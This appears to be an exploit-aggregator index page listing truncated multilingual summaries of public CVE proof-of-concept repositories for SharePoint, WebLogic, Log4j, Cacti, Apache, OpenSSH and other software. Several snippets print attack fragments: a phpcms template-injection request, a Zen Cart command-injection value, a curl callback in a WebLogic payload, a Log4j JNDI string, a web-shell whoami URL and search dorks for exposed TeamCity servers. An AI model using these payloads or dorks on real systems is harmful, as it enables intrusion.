ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 最近、phpcms 2008 のソースコードの /type.php に脆弱性を発見しました。攻撃者が「/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss」のような細工されたリクエストを送信すると、悪意のあるコンテンツ（この場合は「@unlinkFILE;assert$POST1;」）がキャッシュファイル（この場合は「/cachetemplate/rss.tpl.php」）に書き込まれます。 /type.php には以下のコードがあります： root@kitploit:...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Microsoft Office Word 원격 코드 실행 취약점을 악용하는 악성 docx 생성기 이 스크립트는 LockedByte의 CVE-2021-40444 PoC와 Tothi의 writeup을 기반으로 제작되었습니다. 사용법 먼저 backup.html을 수정하고 powershell 페이로드를 교체하세요. 현재는 IEX'calc.exe'를 사용하여 calc.exe만 실행합니다. python3 exploit.py generate http:// 악성 docx를...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 反序列化 测试环境 Weblogic10.3.6+jdk1.6 打包好的jar包 提取码：a6ob 漏洞利用 下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java root@kitploit: package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try...

zencart_auth_rce_poc

zencartauthrcepoc CVE-2021-3291 1- 관리자로 로그인 2- 모듈 편집 페이지를 엽니다 3- 아무 true 라디오박스에서 요소 검사를 합니다 4- true를 다음으로 변경: true','MODULEORDERTOTALTOTALSTATUS'; echo id; // 5- 업데이트 클릭 6- 명령을 트리거하려면 다시 편집 페이지로 이동하세요. CVE-2021-3291 https://vulners.com/cve/CVE-2021-3291 POC 익스플로잇 페이지 새로고침 확대 Metasploit GIF...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20에서 CSRF to RCE 이 PoC는 Backdrop CMS 버전 1.20에서 CSRF를 악용하여 RCE로 확장하는 방법을 설명합니다. CVE ID CVE-2021-45268 설명 Backdrop CMS 버전 1.20은 사이트에 업로드된 ZIP 파일을 통해 플러그인을 추가할 수 있습니다. 또한 anti-CSRF 보호 기능이 없기 때문에, 공격자는 명령 실행을 허용하는 파일이 포함된 플러그인을 만들어 호스팅하고, 위조된 페이지를 이용해 사이트 관리자가 악성 링크를 클릭하기만 해도 이 플러그인을...

RCE_CVE-2024-7954

RCECVE-2024-7954 説明: 4.30-alpha2、4.2.13、および 4.1.16 より前の SPIP で使用される porteplume プラグインには、任意のコード実行の脆弱性があります。リモートの認証されていない攻撃者が、巧妙に細工された HTTP リクエストを送信することで、SPIP ユーザーとして任意の PHP を実行できます。（緊急） エクスプロイト: POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type:...

exploit-workshop

exploit-workshop In this step by step workshop you'll learn how to exploit various real world vulnerabilities existing in vulnerable versions of packages in a Node.js and Java application. Required software you need to install for this workshop You can do this workshop in 2 different flavours Usi...

CVE-2019-0708-Windows

CVE-2019-0708-Windows 이 글은 Windows 원격 데스크톱 서비스 취약점CVE-2019-0708을 공유하고, 해당 취약점 및 방어 조치에 대해 자세히 설명합니다. 저자는 네트워크 보안 초보자로서, 주로 보안 도구와 실습 작업에 관한 온라인 노트를 기반으로 한 자습서를 공유하고 있습니다. 마음에 드셨으면 좋겠습니다. 또한, 여러분이 저와 함께 작업하고 발전해 나가길 바라며, 앞으로 네트워크 보안 및 시스템 보안 지식을 더 깊이 배우고 관련 실험을 공유할 예정입니다. 요컨대, 이 시리즈의 글이 블로그 친구들에게...

CVE-2024-27198-RCE

사이버공간 매핑 Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" 사용 방법 Python3.9를 사용합니다. root@kitploit: pip install requests urllib3 faker python...

covenant_rce

このリポジトリには README がありません。...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구. 취약점 개요 CVE-2022-22963 는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다CVSS 9.8. 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpELSpring Expression Language 표현식으로 직접 실행되어, 공격자가 인증 없이...

exploit-CVE-2020-5844

CVE-2020-5844 Pandora FMS v7.0NG.742 익스플로잇 - 원격 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 작성자 @UNICORDev 작성자: @NicPWNs 및 @Dev-Yeoj 취약점 설명 Pandora FMS v7.0 NG의 index.php?sec=godmode/extensions&sec2=extensions/filesrepo는 인증된 관리자가 악성 PHP 스크립트를 업로드하고, 파일 위치의 base64 디코딩을 통해 실...

SHELL-POC-CVE-2022-46169

SHELL-POC-CVE-2022-46169 CVE-2022-46169의 bash 개념 증명으로, 리버스 셸 페이로드를 전송합니다. 자체적으로 취약한 환경을 구성하려면 이 저장소를 방문하세요: https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application. 사용법 : root@kitploit: ./poc.sh -i -p -u...

CVE-2020-16898

CVE-2020-16898: “Bad Neighbor” CVSS Score: 8.8 CVSS Vector: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C Overview On October 13, Microsoft announced an exceptionally critical vulnerability in the Windows IPv6 stack, which allows an attacker to send maliciously crafted packets to...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773의 PoC를 개발했습니다. RCE + cgi-bin 경로 탐색 참고 : APACHE2 2.4.49에서 테스트 완료 Docker에서 직접 취약한 Apache2 2.4.49를 가져올 수 있습니다. root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 ...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228에 대한 PoC입니다. 교육 목적으로만 제작된 프로젝트입니다. 익스플로잇 서버 이 프로젝트는 http와 ldap 두 개의 서버를 생성합니다. 익스플로잇이 작동하려면 둘 다 필요합니다. 지정된 Java 파일은 컴파일되며 서버는 Dockerfile에서 시작됩니다. 페이로드가 사용자에게 표시되며, 취약한 애플리케이션에 전달해야 합니다. 페이로드 예시: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 실행 방법 바인드 셸 root@kitploit...

CVE-2021-30461

影響を受ける製品 VoIPmonitor 24.60 RCEの方法 root@kitploit: python3 CVE-2021-30461.py -t ipaddress ブラウザシェル: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 参考 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 원격 코드 실행 CVE-2020-8813용 공식 익스플로잇 Cacti v1.2.8 사전 인증 원격 코드 실행 Cacti v1.2.8 사후 인증 원격 코드 실행...

CVE-2024-6387

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 우리는 테러 단체 하마스에 의해 인질로 잡힌 모든 시민의 안전한 귀환을 요구합니다. 모든 인질이 석방되어 안전하게 집으로 돌아올 때까지 우리는 쉬지 않을 것입니다. 여러분도 그들을 집으로 데려오는 데 도움을 줄 수 있습니다.https://stories.bringthemhomenow.net/ OpenSSH CVE-2024-6387 익스플로잇 🚀 이 저장소는 OpenSSH의 원격 코드 실행RCE 취약점CVE-2024-6387을 악용하도록 설계된 Python 스크립트를...